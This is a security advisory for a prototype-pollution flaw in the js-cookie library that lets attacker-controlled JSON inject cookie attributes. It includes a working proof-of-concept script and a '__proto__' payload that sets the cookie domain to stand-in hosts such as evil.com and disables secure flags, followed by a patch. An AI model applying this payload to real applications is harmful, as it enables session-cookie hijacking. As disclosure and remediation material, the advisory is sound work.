js-cookie CVE-2026-46625
HIGH
GHSA-qjx8-664m-686j
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Lifecycle Timeline
2Blast Radius
ecosystem impact- 22,439 npm packages depend on js-cookie (3,835 direct, 18,707 indirect)
Ecosystem-wide dependent count for version 3.0.7.
DescriptionNVD
Summary
js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an *own enumerable* property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.
Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.
Impact
Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:
const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attackerA payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:
Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=NoneAffected code
// src/assign.mjs - full file
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
for (var key in source) { // includes own enumerable '__proto__'
target[key] = source[key] // [[Set]] form - fires __proto__ setter
}
}
return target
}Proof of concept
Node 22.11.0, no third-party deps:
Environment setup
mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookiePoC
ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
get cookie() { return ''; },
set cookie(v) { lastSetCookie = v; }
};
const { default: Cookies } = await import('js-cookie');
const attackerAttrs = JSON.parse(
'{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);
Cookies.set('session', 'TOKEN', attackerAttrs);
console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />
Suggested patch
--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
- for (var key in source) {
- target[key] = source[key]
- }
+ for (var key in source) {
+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+ Object.defineProperty(target, key, {
+ value: source[key],
+ writable: true,
+ enumerable: true,
+ configurable: true,
+ })
+ }
}
return target
}Equivalent one-liner alternative - iterate own names only and filter:
for (const key of Object.getOwnPropertyNames(source)) {
if (key === '__proto__') continue
target[key] = source[key]
}AnalysisAI
Cookie-attribute injection in js-cookie versions 3.0.5 and earlier allows remote attackers to override security-relevant Set-Cookie attributes (domain, secure, samesite, expires, path) by supplying a JSON-derived attributes object containing a __proto__ key. Publicly available exploit code exists in the GHSA-qjx8-664m-686j advisory demonstrating per-instance prototype hijack via the assign() helper. …
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RemediationAI
Within 24 hours: Audit all applications and services to identify js-cookie versions currently deployed. Within 7 days: Update to js-cookie 3.0.7 across all affected applications and conduct functional regression testing on cookie-dependent features in staging before production release. …
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